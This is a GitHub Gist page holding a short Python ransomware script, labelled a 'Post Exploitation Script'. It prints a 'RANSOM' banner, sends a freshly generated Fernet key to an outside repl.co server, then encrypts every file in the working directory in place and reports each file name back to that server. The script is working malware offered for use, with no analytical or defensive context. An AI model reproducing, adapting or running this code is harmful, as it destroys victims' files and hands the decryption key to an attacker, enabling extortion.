Last active
July 3, 2022 13:45
-
-
Save furaar/72667f1c610c1e13689502374dceea9c to your computer and use it in GitHub Desktop.
Post Exploitation Script - Encrypts every file inside the working directory and uploads the encryption key to an express server straight from memory.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import os # accessing files | |
import requests # uploading secrets | |
from cryptography.fernet import Fernet # encrypting files | |
# setup an empty array for handling files | |
files = [] | |
print(''' | |
██▀███ ▄▄▄ ███▄ █ ██████ ▒█████ ███▄ ▄███▓ | |
▓██ ▒ ██▒▒████▄ ██ ▀█ █ ▒██ ▒ ▒██▒ ██▒▓██▒▀█▀ ██▒ | |
▓██ ░▄█ ▒▒██ ▀█▄ ▓██ ▀█ ██▒░ ▓██▄ ▒██░ ██▒▓██ ▓██░ | |
▒██▀▀█▄ ░██▄▄▄▄██ ▓██▒ ▐▌██▒ ▒ ██▒▒██ ██░▒██ ▒██ | |
░██▓ ▒██▒ ▓█ ▓██▒▒██░ ▓██░▒██████▒▒░ ████▓▒░▒██▒ ░██▒ | |
░ ▒▓ ░▒▓░ ▒▒ ▓▒█░░ ▒░ ▒ ▒ ▒ ▒▓▒ ▒ ░░ ▒░▒░▒░ ░ ▒░ ░ ░ | |
░▒ ░ ▒░ ▒ ▒▒ ░░ ░░ ░ ▒░░ ░▒ ░ ░ ░ ▒ ▒░ ░ ░ ░ | |
░░ ░ ░ ▒ ░ ░ ░ ░ ░ ░ ░ ░ ░ ▒ ░ ░ | |
░ ░ ░ ░ ░ ░ ░ ░ | |
''') | |
for file in os.listdir(): | |
if file == "encrypt.py" or file == "decrypt.py": | |
continue | |
if os.path.isfile(file): | |
files.append(file) | |
key = Fernet.generate_key() | |
# Upload | |
post = "https://Ransomeware.simerlol.repl.co/post" | |
confirm = "https://Ransomeware.simerlol.repl.co/confirm" | |
secret = { | |
'key': key | |
} | |
res = requests.post(post, data=secret).text | |
print(res) | |
for file in files: | |
with open(file, "rb") as thefile: | |
contents = thefile.read() | |
contents_encrypted = Fernet(key).encrypt(contents) | |
with open(file, "wb") as thefile: | |
thefile.write(contents_encrypted) | |
gg = requests.post(confirm, data={'file': os.path.basename(file) + " was encrypted" }).text | |
print(gg) | |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment